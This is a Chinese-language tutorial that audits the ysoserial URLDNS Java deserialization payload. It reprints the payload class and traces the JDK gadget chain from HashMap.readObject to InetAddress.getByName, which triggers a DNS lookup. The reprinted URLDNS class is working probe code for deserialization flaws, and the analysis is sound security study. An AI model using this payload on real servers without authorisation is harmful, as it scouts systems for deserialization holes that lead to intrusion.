URLDNS审计
ysoserial(https://github.com/frohoff/ysoserial)
URLDNS源码
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
该Java类是一个用于payload测试的工具类,实现了ObjectPayload接口,其主要功能是通过构造一个特殊的URL对象并将其放入HashMap中,来触发DNS解析。
具体实现如下:
通过创建一个SilentURLStreamHandler对象来避免DNS解析。
创建一个HashMap对象,并使用URL对象作为键,将URL字符串作为值放入其中。
通过反射重置URL对象的hashCode值,以触发下次调用hashCode时的DNS查找。
返回包含URL的HashMap对象。
该类还包含一个main方法,用于通过PayloadRunner运行该类。
静态内部类SilentURLStreamHandler继承自URLStreamHandler,重写了openConnection和getHostAddress方法,以避免打开连接和获取主机地址时进行DNS解析。
/**
* 从流中重构此映射(即反序列化它)。
* @param s 输入流
* @throws ClassNotFoundException 如果序列化对象的类找不到
* @throws IOException 如果发生I/O错误
*/
@java.io.Serial
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// 读取loadFactor(忽略阈值)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
// 调整loadFactor的值,确保其在有效范围内
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
// 重新初始化HashMap
reinitialize();
// 读取并忽略桶的数量
s.readInt();
int mappings = s.readInt(); // 读取映射数量(大小)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// 如果映射数量为0,则使用默认值
} else if (mappings > 0) {
// 根据映射数量和loadFactor计算容量
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
// 计算阈值
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// 检查数组是否符合预期的类型
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
// 创建并初始化节点数组
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// 读取键值对,并将其放入HashMap中
for (int i = 0; i < mappings; i++) {
// 反序列化键和值,并添加到映射中
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
通过调试putVal(hash(key), key, value, false, false);这行进入到hash里面查看hash是如何组成的
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
进入hash后我们发现他的值有调用了hashcode我们再次进入到hashcode
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
当hashcode != -1 时,返回hashcode
我们先继续调试
进入到hashCode = handler.hashCode(this);里面的hashCode()函数
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
在这里我们能看到关键的getHostAddress()函数
我们再次进入到内部
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
这个函数能够获取到IP地址
当hashcode != -1 时,返回hashcode
我们将hashcode = -1则返回进入hashCode() 则可进入到getHostAddress()
这⾥ InetAddress.getByName(host)的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次
DNS查询
整个 URLDNS 的Gadget其实清晰⼜简单:
| 1. HashMap->readObject() |
|---|
| 2. HashMap->hash() |
| 3. URL->hashCode() |
| 4. URLStreamHandler->hashCode() |
| 5. URLStreamHandler->getHostAddress() |
| 6. InetAddress->getByName() |







